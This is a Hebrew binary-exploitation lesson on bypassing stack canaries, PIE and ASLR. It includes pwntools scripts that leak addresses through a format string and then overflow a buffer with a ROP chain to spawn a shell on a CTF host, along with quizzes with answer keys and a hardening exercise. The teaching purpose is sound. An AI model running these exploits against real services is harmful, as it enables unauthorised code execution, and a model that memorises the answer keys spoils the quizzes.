GammaCyber

ASLR, PIE ו-Canary Bypass

Binary Exploitation ו-Pwn · 5–6 שעות

// סקירה

ASLR, PIE ו-Canary Bypass — עקיפת כל ההגנות

תוכנות מודרניות מגיעות עם שלוש הגנות מרכזיות: ASLR, PIE ו-Stack Canary. שיעור זה מלמד מה כל הגנה עושה בדיוק — ואיך עוקפים כל אחת בנפרד ויחד.

✓נושאי השיעור
  • checksec — קריאת פלט וזיהוי ההגנות הפעילות
  • Stack Canary — כיצד עובד ואיך לעקוף (Leak + Overwrite)
  • ASLR — Randomization של כתובות וLeaks שעוקפים
  • PIE — כתובות קוד randomized וOffset-based Exploit
  • Format String Leak — הכלי לעקיפת Canary ו-PIE יחד
  • Partial Overwrite — עקיפת ASLR ב-12 bits ידועים
  • One_Gadget — Shell בגאדג'ט אחד
  • Exploit מלא: כל ההגנות + Shell
🎯 קשר למיוני גאמא
שיעור זה מכין לשלבים: Pwn Challenges עם כל ההגנות מופעלות · שאלון: מה Canary, מה PIE, מה ASLR · CTF — עקיפת הגנות כדי לנצל BOF מודרני · checksec output reading — חובה בכל אתגר Pwn
// פרק 1

checksec: קריאת ההגנות של Binary

הצעד הראשון בכל Pwn Challenge הוא checksec — כלי שקורא את הדגלים של ה-Binary ומציג אילו הגנות פעילות. כל שדה מספר סיפור אחר.

פלט checksec מלא — מה כל שדה אומר

$ checksec --file=./pwn_chal Arch: amd64-64-little ← 64bit, Little Endian RELRO: Full RELRO ← GOT מוגן מכתיבה (קשה לGOT Overwrite) Stack: Canary found ← יש Stack Canary! NX: NX enabled ← Stack לא ניתן להרצה (אין Shellcode) PIE: PIE enabled ← כתובות קוד randomized (אין כתובות קבועות) RUNPATH: No RPATH # ─── פירוש מהיר ────────────────────────────────────────── # Canary found + NX enabled + PIE enabled = 3 הגנות → ROP + Leak דרוש # No Canary + NX enabled + No PIE = ret2libc קלאסי (שיעור 45) # No Canary + NX disabled + No PIE = Shellcode ישיר (קל ביותר) # ─── RELRO ───────────────────────────────────────────── # No RELRO: GOT ניתן לכתיבה ולקריאה # Partial: GOT ניתן לכתיבה (GOT Overwrite אפשרי!) # Full RELRO: GOT Read-Only → צריך __free_hook / __malloc_hook

טבלת החלטות לפי checksec

CanaryNXPIERELROשיטה
✗✗✗NoShellcode ישיר ב-Stack
✗✓✗Partialret2libc / ROP + GOT Overwrite
✓✓✗FullCanary Leak → ROP → ret2libc
✗✓✓FullPIE Leak → ROP → ret2libc
✓✓✓FullFormat String Leak (Canary+PIE) → ROP → Shell
✏תרגול עצמי3 שאלות
שאלה 1.1 — קריאת checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)מה השיטה המתאימה לBinary זה?
✓ תשובה: ד) — No Canary: BOF ישיר ללא Leak. NX: לא Shellcode, צריך ROP. No PIE: כתובות PLT/GOT קבועות (0x400xxx). Partial RELRO: GOT ניתן לכתיבה (GOT Overwrite אפשרי!). → ret2libc קלאסי מהשיעור הקודם.
שאלה 1.2 — Full RELRO
מדוע Full RELRO מקשה על GOT Overwrite?
✓ תשובה: א) — Partial RELRO: GOT writable (אפשר לכתוב לשם). Full RELRO: dynamic linker ממלא את כל ה-GOT בזמן loading ואז קורא mprotect להפוך אותו Read-Only. כתיבה → Crash. חלופות: __free_hook, __malloc_hook (libc), stack, heap.
שאלה 1.3 — Binary חדש
Binary עם: Canary ✓, NX ✓, PIE ✓, Full RELRO. איזה Leak צריך ראשון?
✓ תשובה: א) — כאשר כל ההגנות פעילות, צריך 3 Leaks: Canary (כדי לשים אותו חזרה ב-BOF Payload), PIE base (Gadgets = PIE_base + offset), libc base (system+/bin/sh). Format String = כלי אחד לכולם.
// פרק 2

Stack Canary: עקיפת הגנת Stack

Stack Canary הוא ערך אקראי שמוכנס ב-Stack בין ה-Buffer לReturn Address. לפני חזרה מפונקציה, הBinary בודק שהCanary לא השתנה. Buffer Overflow שדורס אותו → abort().

כיצד Canary עובד

; ─── Stack Layout עם Canary (64bit) ───────────────────────── ; ; [High Address] ; ┌─────────────────────┐ ; │ Return Address │ ← אם דורסים זה → RIP Hijack ; ├─────────────────────┤ ; │ Saved RBP │ ; ├─────────────────────┤ ; │ CANARY VALUE │ ← ערך אקראי, נבדק לפני ret! ; ├─────────────────────┤ ← fs:[0x28] = מקור הCanary ; │ Local Variables │ ; ├─────────────────────┤ ; │ Buffer[64] │ ← BOF מתחיל כאן ; └─────────────────────┘ ; [Low Address] ; ─── Assembly של Canary Check ──────────────────────────────── ; פרולוג פונקציה — שמירת Canary: mov rax, qword ptr fs:[0x28] ; טען Canary מ-TLS mov qword ptr [rbp-8], rax ; שמור ב-Stack ; אפילוג — בדיקת Canary: mov rax, qword ptr [rbp-8] ; טען מה-Stack xor rax, qword ptr fs:[0x28] ; השווה למקורי jne __stack_chk_fail ; שונה? → abort()! ret ; זהה? → חזור כרגיל

עקיפת Canary — Leak ו-Restore

# ─── שיטה 1: Format String Leak ───────────────────────────── # אם יש printf(buf) לפני הBOF: # Canary נמצא ב-Stack ב-offset ידוע → %N$p חושף אותו from pwn import * conn = remote('ctf.example.com', 1337) # שלח format string לLeak Stack: conn.sendlineafter(b'name: ', b'%7$p.%8$p.%9$p.%10$p.%11$p') leak_line = conn.recvline() # נניח output: 0x1.0x7ffff7...0x3b.0x402010.0xd34db33f41424344 # Canary = ערך שה-LSB הוא 0x00 ו-MSB 0x00 (Canary תמיד מסתיים ב-\x00 ב-x64) # ─── שיטה 2: Read Off-By-One / OOB Read ───────────────────── # אם יש read/write שמאפשר לקרוא מעבר לbuffer: # קרא את הbuffer + 8 bytes נוספים = מיקום הCanary # ─── שיטה 3: Brute Force (32bit בלבד!) ────────────────────── # ב-32bit: Canary = 4 bytes → 256^3 = 16M ניסיונות # בפורקי-server: כל fork מקבל אותו Canary → BF אפשרי # ב-64bit: 7 bytes random → 2^56 → לא מעשי # ─── Payload עם Canary שנחשף ───────────────────────────────── canary = 0xd34db33f41424344 # מהLeak offset_to_canary = 64 # bytes מתחילת buffer לCanary offset_to_ret = 64 + 8 + 8 # buffer + canary + saved rbp payload = b'A' * offset_to_canary # fill buffer payload += p64(canary) # שים Canary בחזרה! payload += p64(0) # saved rbp (junk) payload += p64(pop_rdi) # ROP Chain מתחיל payload += p64(binsh_addr) payload += p64(system_addr)
! Canary תמיד מתחיל ב-\x00 ב-x64 ›

ב-64bit, הbyte הנמוך ביותר של ה-Canary הוא תמיד 0x00. זה מכוון! אם Canary מועתק כ-String (בstrcpy/printf/%s), ה-NULL byte עוצר את ההעתקה — מגן מLeak בדרך זו.

השלכה: כשמשחזרים Canary ב-Payload, שמים p64(canary) שכבר מכיל את ה-\x00 הנכון. כשמחפשים Canary ב-Stack Dump: מחפשים ערך שה-LSB = 0x00.
✏תרגול עצמי3 שאלות
שאלה 2.1 — Canary מנגנון
מה קורה כשBuffer Overflow דורס את ה-Canary ב-Stack?
✓ תשובה: ד) — הבדיקה ב-Assembly: xor rax, fs:[0x28]. אם הCanary בStack שונה → jne __stack_chk_fail. הפונקציה הזו מדפיסה "*** stack smashing detected ***" ומפעילה abort(). הProcess מת בSIGABRT, לא SIGSEGV.
שאלה 2.2 — Canary Bypass
הצלחנו לLeak את הCanary: 0x9a3fb200c1d7e400. מדוע הByte הנמוך 0x00?
✓ תשובה: ב) — GCC מייצר Canary עם LSB=0x00 בכוונה. string functions (strcpy, puts, printf %s) עוצרות ב-NULL → לא יכולות לLeak את שאר הCanary. אבל: %p/%x בformat string, או read() שקורא bytes גולמיים, מאפשרים Leak של הCanary המלא.
שאלה 2.3 — Dry Run Payload
# Stack layout: # [buf: 32 bytes][canary: 8][rbp: 8][ret: 8] # Canary leaked = 0xdeadbeefcafe0000 # pop_rdi = 0x401234, binsh = 0x7f..., system = 0x7f... payload = b'A' * 32 payload += p64(0xdeadbeefcafe0000) # canary payload += p64(0) # rbp payload += p64(0x401234) # ROP start payload += p64(binsh_addr) payload += p64(system_addr)מה יקרה לאחר שה-Payload נשלח?
✓ תשובה: ג) — הPayload: 32×'A' ממלא buffer. Canary = 0xdeadbeefcafe0000 = הערך שנחשף → עובר בדיקה! rbp=0 (junk). ret → pop_rdi. pop rdi=binsh. ret → system_addr. system("/bin/sh") → Shell!
// פרק 3

PIE Bypass: כתובות קוד Randomized

PIE (Position Independent Executable) גורם לכל הקוד להיטען לכתובת בסיס אקראית בכל הרצה. ROP Gadgets, פונקציות, כל כתובת בbinary — משתנה. אבל: ה-Offsets בתוך ה-binary קבועים.

PIE — עיקרון ו-Offset Calculation

# ─── בלי PIE ───────────────────────────────────────────── # Binary נטען ל-0x400000 תמיד # main @ 0x401234 (קבוע בכל הרצה) # Gadgets @ 0x401500 (קבוע) # ─── עם PIE ────────────────────────────────────────────── # Binary נטען ל-כתובת אקראית בכל הרצה: # הרצה 1: PIE_base = 0x555555554000, main @ 0x555555555234 # הרצה 2: PIE_base = 0x563b2a000000, main @ 0x563b2a001234 # הרצה 3: PIE_base = 0x7f8b3c000000, main @ 0x7f8b3c001234 # ^^^^^^^^^^^^ # תמיד: PIE_base + 0x1234 # ─── מה קבוע? ──────────────────────────────────────────── # OFFSET של main מתחילת ה-binary: תמיד 0x1234 # OFFSET של gadget: תמיד 0x1500 # שדות ה-.text: תמיד אותם offsets # ─── Exploit עם PIE ─────────────────────────────────────── from pwn import * elf = ELF('./pie_binary') # אחרי Leak (ראה שלב הבא): leaked_main = 0x563b2a001234 # מהLeak pie_base = leaked_main - elf.sym['main'] # = 0x563b2a000000 # כעת כל כתובת = pie_base + offset: pop_rdi_offset = 0x1500 # מ-ROPgadget (offset בלבד) pop_rdi = pie_base + pop_rdi_offset # כתובת אמיתית בזמן ריצה! win_func = pie_base + elf.sym['win'] # pwntools עושה את החיסור

PIE Leak — שיטות

# ─── שיטה 1: Format String → Leak Return Address מה-Stack ── # Return Address ב-Stack = PIE_base + offset_of_caller # %N$p מ-Stack חושף return address → חסר offset → pie_base conn.sendlineafter(b'> ', b'%15$p') # נסה params שונים leak = int(conn.recvline().strip(), 16) pie_base = leak - 0x1389 # offset של הcaller מה-main (מIDА/Ghidra) # ─── שיטה 2: puts(elf.got['puts']) עם printf_leak ────────── # אם PIE + Partial RELRO: GOT entry מכיל כתובת libc, לא binary # אם PIE + Partial RELRO: כתובת ה-.text = pie_base + offset # ─── שיטה 3: OOB Read / printf_leak ───────────────────────── # puts(some_binary_function_addr) → Leak PIE pointer # ─── ROPgadget עם PIE ──────────────────────────────────────── ROPgadget --binary ./pie_binary --rop | grep "pop rdi" # 0x0000000000001500 : pop rdi ; ret # ^^^^^^^^^^^^^^^^^^^ OFFSET (לא כתובת אמיתית — PIE binary!) # כתובת אמיתית = pie_base + 0x1500
✏תרגול עצמי3 שאלות
שאלה 3.1 — PIE
ב-Binary עם PIE, ROPgadget מצא pop rdi; ret @ 0x1500. מה הכתובת האמיתית בזמן ריצה?
✓ תשובה: א) — PIE binary: ROPgadget מציג offsets (כתובות relative לתחילת הbinary = 0x0). בזמן ריצה: binary נטען ל-pie_base (אקראי). real_gadget = pie_base + offset. בלי PIE: binary נטען ל-0x400000 → כתובת = 0x400000 + offset = 0x401500.
שאלה 3.2 — PIE Leak
Format String Leak העלה: %21$p = 0x55d4a2001234. ב-IDA/Ghidra ראינו שכתובת הcaller היא offset 0x1234. מה pie_base?
✓ תשובה: א) — pie_base = leaked - offset. leaked = 0x55d4a2001234. offset = 0x1234. pie_base = 0x55d4a2001234 - 0x1234 = 0x55d4a2000000. כל כתובת עכשיו = pie_base + offset_from_binary.
שאלה 3.3 — Partial Overwrite
מה הוא Partial Overwrite ומתי משתמשים בו?
✓ תשובה: ב) — כל כתובת PIE: [PIE_base אקראי][12 bits קבועים = offset בתוך Page]. כתיבת 2 bytes נמוכים = שינוי ה-12 bits הידועים + 4 bits אקראיים מה-PIE_base. 4 bits = 16 ניסיונות Brute Force. נפוץ כשיש Crash-and-Restart service.
// פרק 4

ASLR ו-one_gadget: Shell בגאדג'ט אחד

ASLR מרנדם את כתובות libc, Stack ו-Heap בכל הרצה. הדרך היחידה לעקוף אותו היא Leak — כתובת אחת מ-libc מספיקה לחישוב כל השאר. one_gadget מאפשר Shell בקפיצה אחת.

ASLR — מה מתרנדם ומה לא

אזורעם ASLRללא ASLRהערות
libc (.so)אקראיקבועLeak 1 כתובת → חשב הכל
StackאקראיקבועStack Leak → Stack address
HeapאקראיקבועHeap Leak → Heap address
Binary (ללא PIE)קבוע!קבועASLR לא משפיע על binary ללא PIE
Binary (עם PIE)אקראי—PIE = ASLR לbinary עצמו

one_gadget — Shell בגאדג'ט אחד

# ─── one_gadget ────────────────────────────────────────────── # מחפש Gadgets ב-libc שמריצים execve("/bin/sh") ישירות! # אין צורך ב: pop rdi + binsh_addr + system # רק: JMP/CALL ל-one_gadget = Shell (אם constraints מתקיימים) $ one_gadget /lib/x86_64-linux-gnu/libc.so.6 0xe3b2e execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp 0xe3b31 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL || r15 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xe3b34 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL || rsi is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp # ─── שימוש ב-Exploit ───────────────────────────────────────── from pwn import * libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # אחרי libc Leak: libc.address = leaked_puts - libc.sym['puts'] # נסה one_gadgets לפי סדר (הראשון שConstraints שלו מתקיימים): 0xe3b31, 0xe3b34] for og in one_gadgets: og_addr = libc.address + og payload = b'A' * offset + p64(og_addr) # נסה — אם Shell: עצור. אם Crash: נסה הבא
הרחבה libc-database — מציאת גרסת libc אוטומטית ›
# ─── libc-database ──────────────────────────────────────────── # בCTF: לא תמיד יודעים איזה libc version רץ # Leak כתובת puts ו-system → libc-database מזהה גרסה # כלי online: https://libc.rip # curl: $ curl https://libc.rip/api/find -d '{"symbols": {"puts": "0x790", "system": "0x510"}}' # {"id": "libc6_2.31-13+deb11u5_amd64", "offset": {...}} # או: libc-database מקומי $ ./find puts 7c0 # 3 bytes אחרונים של Leak # → מזהה גרסה + offsets לכל פונקציה $ ./dump libc6_2.31 puts system str_bin_sh # → offsets מדויקים לחישוב!
✏תרגול עצמי3 שאלות
שאלה 4.1 — ASLR
ב-Binary ללא PIE אבל עם ASLR, מה הכתובת של main בזמן ריצה?
✓ תשובה: ד) — ASLR (Address Space Layout Randomization) מרנדם: libc, Stack, Heap, vDSO. לא מרנדם: Binary עצמו (ללא PIE). אם checksec מציג "No PIE (0x400000)" → binary תמיד ב-0x400000 → main תמיד ב-offset ידוע.
שאלה 4.2 — one_gadget
מה יתרון one_gadget על שרשרת ROP רגילה (pop rdi + binsh + system)?
✓ תשובה: ד) — בlibc שמכיל כבר את כל הלוגיקה לexecve("/bin/sh"). Payload: b'A'*offset + p64(og_addr). רק 1 כתובת במקום 3+. אבל: Constraints — רגיסטרים מסוימים חייבים להיות NULL. לא תמיד עובד; לכן מנסים כמה gadgets.
שאלה 4.3 — Dry Run ASLR Bypass
leaked_puts = 0x7f3a8c456790 libc.sym['puts'] = 0x84790 libc.sym['system'] = 0x52290 libc.search(b'/bin/sh') → offset 0x1b45bd libc.address = leaked_puts - libc.sym['puts'] system = libc.sym['system'] binsh = next(libc.search(b'/bin/sh\x00')) # מה binsh?
✓ תשובה: ג) — libc.address = 0x7f3a8c456790 - 0x84790 = 0x7f3a8c3d2000. binsh = libc.address + 0x1b45bd = 0x7f3a8c3d2000 + 0x1b45bd = 0x7f3a8c5865bd. pwntools: כשמגדירים libc.address, libc.sym['system'] וlibc.search מחזירים כבר כתובות מוחלטות!
// פרק 5

Exploit מלא: Canary + PIE + ASLR → Shell

הנה ה-Exploit המלא עם כל ההגנות פעילות. שלושה שלבי Leak ואז Shell.

from pwn import * elf = ELF('./full_protection') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') conn = remote('ctf.example.com', 1337) # ═══ שלב 1: Format String Leak — Canary + PIE + libc ════════ # נניח: יש printf(buf) שמאפשר Format String # Canary ב-param 11, return addr ב-param 13, libc ptr ב-param 15 conn.sendlineafter(b'msg: ', b'%11$p.%13$p.%15$p') parts = conn.recvline().strip().split(b'.') canary = int(parts[0], 16) ret_leak = int(parts[1], 16) # return address בbinary libc_leak = int(parts[2], 16) # כתובת libc # ─── חשב Base Addresses ───────────────────────────────────── pie_base = ret_leak - 0x1389 # offset של caller (מIDА) libc.address = libc_leak - libc.sym['__libc_start_main'] - 231 log.success(f'Canary: {hex(canary)}') log.success(f'PIE base: {hex(pie_base)}') log.success(f'libc: {hex(libc.address)}') # ─── Gadgets (PIE-relative) ────────────────────────────────── rop = ROP(elf) pop_rdi = pie_base + rop.find_gadget(['pop rdi', 'ret'])[0] ret_gadget = pie_base + rop.find_gadget(['ret'])[0] system_addr = libc.sym['system'] binsh_addr = next(libc.search(b'/bin/sh\x00')) # ═══ שלב 2: BOF Payload עם Canary + ROP ════════════════════ OFFSET = 72 # bytes עד Canary (buffer + locals) payload = b'A' * OFFSET # fill buffer payload += p64(canary) # שים Canary חזרה! payload += p64(0) # saved rbp payload += p64(pop_rdi) # ROP: rdi = /bin/sh payload += p64(binsh_addr) payload += p64(ret_gadget) # alignment payload += p64(system_addr) # system("/bin/sh") conn.sendlineafter(b'msg: ', payload) conn.interactive() # 🐚 SHELL!
✓מה למדנו בשיעור 46
  • checksec: קרא Canary/NX/PIE/RELRO → בחר שיטת Exploit מתאימה
  • Stack Canary: ערך אקראי בין Buffer לReturn Address. Bypass: Leak + Restore
  • Canary LSB = תמיד 0x00 — הגנה מString Leaks, אבל %p/%x יחשפו אותו
  • PIE: כתובות Binary אקראיות. Offset קבוע. Bypass: Leak כתובת → pie_base = leaked - offset
  • ASLR: libc/Stack/Heap אקראיים. Binary ללא PIE = קבוע! Bypass: Leak libc pointer
  • Full RELRO: GOT Read-Only → כתוב ל-__free_hook / __malloc_hook במקום
  • one_gadget: Gadget בlibc שמריץ execve("/bin/sh") ישירות. Constraints חייבים להתקיים
  • Format String = כלי אחד לLeak Canary + PIE + libc בבת אחת
  • Flow: Format Leak → חשב Bases → BOF עם Canary Restore + ROP → Shell
🎯 השיעור הבא
שיעור 47 — תרגול CTF טקטי: 5 Challenges מקטגוריות שונות, Time Management וWriteup מקצועי
✏תרגול סיום — גאמא סגנון3 שאלות
גאמא סגנון א׳
checksec ./chal: Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabledמה הסדר הנכון של הפעולות?
✓ תשובה: ג) — כל ההגנות פעילות: Canary → חייב Leak+Restore. PIE → חייב Leak+offset. NX → אין Shellcode, צריך ROP. Full RELRO → GOT R/O, אין GOT Overwrite. Flow: Leak הכל → BOF+Canary→ROP→system.
גאמא סגנון ב׳ — Dry Run Canary
# Stack: [buf:40][canary:8][rbp:8][ret:8] # Format String Leak: %7$p = 0xabcdef1234560000 # (Canary נמצא ב-param 7) canary = 0xabcdef1234560000 payload = b'A' * 40 payload += p64(canary) payload += p64(0) payload += p64(win_addr) # win() @ pie_base+0x1200 conn.sendlineafter(b'> ', payload)מה יקרה?
✓ תשובה: א) — הCanary שנשלח = הCanary שנחשף → XOR = 0 → עובר בדיקה. p64(canary) = Little Endian, כולל ה-\x00 הנכון. rbp=0 (junk). ret → win_addr. win() מריצה → Flag. הPayload נכון!
גאמא סגנון ג׳ — Full Exploit Flow
Binary: Canary+NX+PIE+Full RELRO. יש printf(buf) (Format String) ויש gets(buf) (BOF). איזו פגיעות תשמש ל-Leak ואיזו ל-Shell?
✓ תשובה: ד) — Format String (printf(buf)): כלי Leak מושלם. %N$p חושף Stack values = Canary, Return Addresses (PIE), libc pointers. gets(buf): BOF ללא הגבלה. לאחר Leak: שלח gets payload עם Canary Restore + ROP Chain → Shell. שתי פגיעויות, כל אחת לתפקידה.
// תרגול נוסף

תרגול נוסף — Forensics: Steganography ו-Logs

שאלות העשרה נוספות לחיזוק החומר של השיעור — באותו פורמט בחירה של הקורס.

✏תרגול נוסף3 שאלות
שאלה 5.1 [קל]
הרצת file secret.jpg וקיבלת Zip archive data. מה הפעולה הבאה?
✓ תשובה נכונה: ג — file קורא Magic Bytes, לא סיומת. 'Zip archive' = Polyglot (Zip מוסתר ב-JPG). חלץ: binwalk -e secret.jpg או שנה ל-.zip ופתח.
שאלה 5.2 [בינוני]
מה זה LSB Steganography?
✓ תשובה נכונה: ג — LSB = הסתרת ביט בביט הנמוך של כל ערוץ צבע בפיקסל. שינוי בלתי-מורגש לעין. חילוץ: כלים כמו zsteg, stegsolve. נפוץ מאוד ב-CTF Forensics.
שאלה 5.3 [קשה]
ב-Log: Failed password for root ... 50 ניסיונות בשנייה. מה קורה?
✓ תשובה נכונה: ד — 50 ניסיונות/שנייה = כלי אוטומטי (Hydra/Medusa) ב-SSH Brute Force. הגנה: fail2ban, מפתחות במקום סיסמאות, ו-Rate Limiting על הפורט.
// אתגר מעשי

אתגר מעשי — Checksec והקשחה

שיא השיעור: להבין את הפגיעות, לזהות אותה בקוד ובבינארי, ולהקשיח מולה. ההגשה נבדקת אוטומטית מול בינאריים אמיתיים.

T3 · בינוני350 נק'~15 דק'analysis
קריאת הגנות מ-readelf
נתון פלט readelf של בינארי. האם הגנת NX (stack לא-ניתן-להרצה) מופעלת? ענה 'yes' או 'no'. readelf על הבינארי מראה: ELF Header -> Type: EXEC Program Header -> GNU_STACK flags: RWE
דוגמאות
GNU_STACK flags: RW → NX מופעל (yes)
הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס קריאת הגנות מ-readelf ›
no — הדגל E (Execute) ב-GNU_STACK=RWE אומר שה-stack ניתן-להרצה, כלומר NX *כבוי*. (NX מופעל היה מציג RW בלבד.)
T4 · מתקדם450 נק'~25 דק'build
הקשחת קוד פגיע (Hardening)
הפונקציה הבאה פגיעה ל-Stack Buffer Overflow כי scanf("%s") אינו חסום. כתוב גרסה *מוקשחת* שקולטת בבטחה לכל היותר 15 תווים ל-buffer בגודל 16, ומדפיסה 'Hi <name>'. קלט ארוך ייחתך בבטחה במקום לדרוס את ה-stack. הקוד הפגיע: void greet(){ char name[16]; scanf("%s", name); // ללא גבול -> Stack Buffer Overflow printf("Hi %s\n", name); }
דוגמאות
Alice → Hi Alice
AAAA...(100 תווים) → Hi AAAAAAAAAAAAAAA (15, בלי crash)
הפתרון נשמר מקומית ומשותף עם עמוד „כתיבת קוד”.
פתרון-ייחוס הקשחת קוד פגיע (Hardening) ›
#include <stdio.h> void greet(){ char name[16]; scanf("%15s", name); // חסום ל-15 תווים + NUL -> אין דריסה printf("Hi %s\n", name); } int main(){ greet(); return 0; }
שאלות תרגול ותשובות (18)

שאלה 1.1 — קריאת checksec · Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)מה השיטה המתאימה לBinary זה?

Arch:   amd64-64-little
RELRO:  Partial RELRO
Stack:  No canary found
NX:     NX enabled
PIE:    No PIE (0x400000)
  • א. הזרקת Shellcode אל תוך ה-Stack והרצתו משם, אף שה-NX חוסם זאת לגמרי
  • ב. ניצול מבוסס Heap (Heap Exploitation), שאינו רלוונטי כלל לבינארי הזה
  • ג. דליפת Format String הכרחית כאן, אף שאין בבינארי שום פגיעות כזו כלל
  • ד. ret2libc/ROP עם GOT Overwrite: אין Canary, NX פעיל, אין PIE, GOT כתיב
תשובה: ד

✓ תשובה: ד) — No Canary: BOF ישיר ללא Leak. NX: לא Shellcode, צריך ROP. No PIE: כתובות PLT/GOT קבועות (0x400xxx). Partial RELRO: GOT ניתן לכתיבה (GOT Overwrite אפשרי!). → ret2libc קלאסי מהשיעור הקודם.

שאלה 1.2 — Full RELRO · מדוע Full RELRO מקשה על GOT Overwrite?

  • א. Full RELRO ממפה את ה-GOT כ-Read-Only, וכתיבה אליו גורמת ל-SIGSEGV
  • ב. מכיוון שבמצב Full RELRO טבלת ה-GOT כלל אינה קיימת עוד בתוך הבינארי
  • ג. מכיוון שמצב Full RELRO מצפין את כל טבלת ה-GOT ולכן אי אפשר לכתוב בה
  • ד. מכיוון שמצב Full RELRO מסיר את טבלת ה-GOT לחלוטין מן הבינארי הזה כאן
תשובה: א

✓ תשובה: א) — Partial RELRO: GOT writable (אפשר לכתוב לשם). Full RELRO: dynamic linker ממלא את כל ה-GOT בזמן loading ואז קורא mprotect להפוך אותו Read-Only. כתיבה → Crash. חלופות: __free_hook, __malloc_hook (libc), stack, heap.

שאלה 1.3 — Binary חדש · Binary עם: Canary ✓, NX ✓, PIE ✓, Full RELRO. איזה Leak צריך ראשון?

; ─── Stack Layout עם Canary (64bit) ─────────────────────────
;
;  [High Address]
;  ┌─────────────────────┐
;  │   Return Address    │  ← אם דורסים זה → RIP Hijack
;  ├─────────────────────┤
;  │   Saved RBP         │
;  ├─────────────────────┤
;  │   CANARY VALUE      │  ← ערך אקראי, נבדק לפני ret!
;  ├─────────────────────┤  ← fs:[0x28] = מקור הCanary
;  │   Local Variables   │
;  ├─────────────────────┤
;  │   Buffer[64]        │  ← BOF מתחיל כאן
;  └─────────────────────┘
;  [Low Address]

; ─── Assembly של Canary Check ────────────────────────────────
; פרולוג פונקציה — שמירת Canary:
mov   rax, qword ptr fs:[0x28]   ; טען Canary מ-TLS
mov   qword ptr [rbp-8], rax     ; שמור ב-Stack

; אפילוג — בדיקת Canary:
mov   rax, qword ptr [rbp-8]     ; טען מה-Stack
xor   rax, qword ptr fs:[0x28]   ; השווה למקורי
jne   __stack_chk_fail           ; שונה? → abort()!
ret                               ; זהה? → חזור כרגיל
  • א. כל השלושה: Canary, בסיס PIE ובסיס libc; לרוב Format String נותן הכל
  • ב. רק דליפת libc בלבד נדרשת כאן, שכן שאר ההגנות אינן מהוות כלל מכשול
  • ג. רק דליפת ה-Canary בלבד נדרשת, שכן היא ההגנה המשמעותית היחידה כאן
  • ד. רק דליפת בסיס ה-PIE בלבד נדרשת כדי לחשב את כתובות ה-Gadgets בקוד
תשובה: א

✓ תשובה: א) — כאשר כל ההגנות פעילות, צריך 3 Leaks: Canary (כדי לשים אותו חזרה ב-BOF Payload), PIE base (Gadgets = PIE_base + offset), libc base (system+/bin/sh). Format String = כלי אחד לכולם.

שאלה 2.1 — Canary מנגנון · מה קורה כשBuffer Overflow דורס את ה-Canary ב-Stack?

  • א. ה-Canary פשוט מאפס את עצמו וממשיך את ריצת התוכנית באופן תקין לגמרי
  • ב. הבינארי ממשיך לרוץ כרגיל ורק מדפיס הודעת אזהרה קטנה אל המשתמש כאן
  • ג. התהליך מקבל Segfault רגיל בלבד, ללא כל הודעה מיוחדת כלשהי על כך
  • ד. באפילוג: בדיקת ה-Canary נכשלת ← __stack_chk_fail ← abort() לפני ret
תשובה: ד

✓ תשובה: ד) — הבדיקה ב-Assembly: xor rax, fs:[0x28]. אם הCanary בStack שונה → jne __stack_chk_fail. הפונקציה הזו מדפיסה "*** stack smashing detected ***" ומפעילה abort(). הProcess מת בSIGABRT, לא SIGSEGV.

שאלה 2.2 — Canary Bypass · הצלחנו לLeak את הCanary: 0x9a3fb200c1d7e400. מדוע הByte הנמוך 0x00?

0x9a3fb200c1d7e400
  • א. זו שגיאה, שכן ערך ה-Canary לעולם אינו מתחיל כלל בבית 0x00 שכזה כאן
  • ב. מכוון: GCC תמיד שם 0x00 ב-LSB כדי לעצור דליפה מבוססת-מחרוזת (%s)
  • ג. מכיוון שערך ה-Canary תמיד מיושר ל-8 בתים, ומכאן הבית האפס שבקצה
  • ד. מכיוון שערך ה-Canary נשמר תמיד בסדר Little Endian בתוך הזיכרון כאן
תשובה: ב

✓ תשובה: ב) — GCC מייצר Canary עם LSB=0x00 בכוונה. string functions (strcpy, puts, printf %s) עוצרות ב-NULL → לא יכולות לLeak את שאר הCanary. אבל: %p/%x בformat string, או read() שקורא bytes גולמיים, מאפשרים Leak של הCanary המלא.

שאלה 2.3 — Dry Run Payload · # Stack layout: # [buf: 32 bytes][canary: 8][rbp: 8][ret: 8] # Canary leaked = 0xdeadbeefcafe0000 # pop_rdi = 0x401234, binsh = 0x7f..., system = 0x7f... payload = b'A' * 32 payload += p64(0xdeadbeefcafe0000) # canary payload += p64(0) # rbp payload += p64(0x401234) # ROP start payload += p64(binsh_addr) payload += p64(system_addr)מה יקרה לאחר שה-Payload נשלח?

# Stack layout:
# [buf: 32 bytes][canary: 8][rbp: 8][ret: 8]
# Canary leaked = 0xdeadbeefcafe0000
# pop_rdi = 0x401234, binsh = 0x7f..., system = 0x7f...

payload = b'A' * 32
payload += p64(0xdeadbeefcafe0000)  # canary
payload += p64(0)                   # rbp
payload += p64(0x401234)            # ROP start
payload += p64(binsh_addr)
payload += p64(system_addr)
  • א. נגרם Crash מיידי, מכיוון שערך ה-Canary שנשלח אינו תקין כלל כאן כן
  • ב. שרשרת ה-ROP אכן רצה עד תומה, אך בסופו של דבר אינה מפיקה שום Shell
  • ג. ה-Canary עובר את הבדיקה (ערך זהה), וה-ROP רץ: system(binsh) → Shell
  • ד. מופעל abort() בשל כשל בבדיקת ה-Canary עוד לפני שה-ROP בכלל מתחיל
תשובה: ג

✓ תשובה: ג) — הPayload: 32×'A' ממלא buffer. Canary = 0xdeadbeefcafe0000 = הערך שנחשף → עובר בדיקה! rbp=0 (junk). ret → pop_rdi. pop rdi=binsh. ret → system_addr. system("/bin/sh") → Shell!

